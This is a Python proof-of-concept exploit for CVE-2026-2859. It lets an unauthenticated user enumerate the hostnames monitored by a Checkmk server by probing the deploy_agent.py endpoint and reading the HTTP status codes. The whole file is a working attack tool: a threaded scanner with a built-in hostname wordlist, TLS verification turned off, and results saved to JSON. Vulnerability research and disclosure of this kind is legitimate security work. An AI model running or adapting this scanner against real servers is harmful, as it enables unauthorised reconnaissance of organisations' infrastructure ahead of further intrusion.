#!/usr/bin/env python3
"""
CVE-2026-2859 PoC - Checkmk Host Enumeration via deploy_agent Endpoint
This PoC demonstrates how an unauthenticated attacker can enumerate
valid hostnames in Checkmk by observing different HTTP response codes.
"""
import requests
import argparse
import json
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
def check_host(target_url, hostname):
"""
Check if a hostname exists in Checkmk by observing HTTP response codes.
Returns True if host appears to exist, False otherwise.
"""
try:
# Try the deploy_agent endpoint with the target hostname
url = f"{target_url.rstrip('/')}/check_mk/deploy_agent.py"
params = {'host': hostname}
response = requests.get(url, params=params, timeout=10, verify=False)
# Different response codes indicate host existence
# 404 typically means host doesn't exist
# 200 or other codes may indicate host exists
if response.status_code == 404:
return {'hostname': hostname, 'exists': False, 'status_code': 404}
else:
return {'hostname': hostname, 'exists': True, 'status_code': response.status_code}
except requests.RequestException as e:
return {'hostname': hostname, 'exists': None, 'error': str(e)}
def enumerate_hosts(target_url, hostnames_file=None, wordlist=None):
"""
Enumerate hosts in Checkmk using a wordlist or file.
"""
# Default wordlist with common hostnames
default_wordlist = [
'localhost', 'server', 'server01', 'server02', 'webserver',
'dbserver', 'database', 'mail', 'proxy', 'firewall', 'router',
'switch', 'printer', 'monitor', 'gateway', 'backup', 'nas',
'vmware', 'esxi', 'hyperv', 'kvm', 'docker', 'kubernetes'
]
if hostnames_file:
try:
with open(hostnames_file, 'r') as f:
wordlist = [line.strip() for line in f if line.strip()]
except Exception as e:
print(f"Error reading file: {e}")
wordlist = default_wordlist
else:
wordlist = wordlist or default_wordlist
print(f"[*] Enumerating hosts on {target_url}")
print(f"[*] Testing {len(wordlist)} hostnames...")
found_hosts = []
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(check_host, target_url, host): host
for host in wordlist}
for future in as_completed(futures):
result = future.result()
if result['exists']:
print(f"[+] Found host: {result['hostname']} (Status: {result['status_code']})")
found_hosts.append(result)
elif result['exists'] is False:
print(f"[-] Not found: {result['hostname']}")
print(f"\n[*] Enumeration complete. Found {len(found_hosts)} hosts.")
return found_hosts
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2026-2859 Checkmk Host Enumeration PoC')
parser.add_argument('-t', '--target', required=True, help='Target Checkmk URL')
parser.add_argument('-f', '--file', help='File containing hostnames to test')
parser.add_argument('-w', '--wordlist', nargs='+', help='Wordlist of hostnames')
args = parser.parse_args()
# Disable SSL warnings for testing
requests.packages.urllib3.disable_warnings()
results = enumerate_hosts(args.target, args.file, args.wordlist)
# Save results to JSON
output_file = 'cve_2026_2859_results.json'
with open(output_file, 'w') as f:
json.dump(results, f, indent=2)
print(f"[*] Results saved to {output_file}")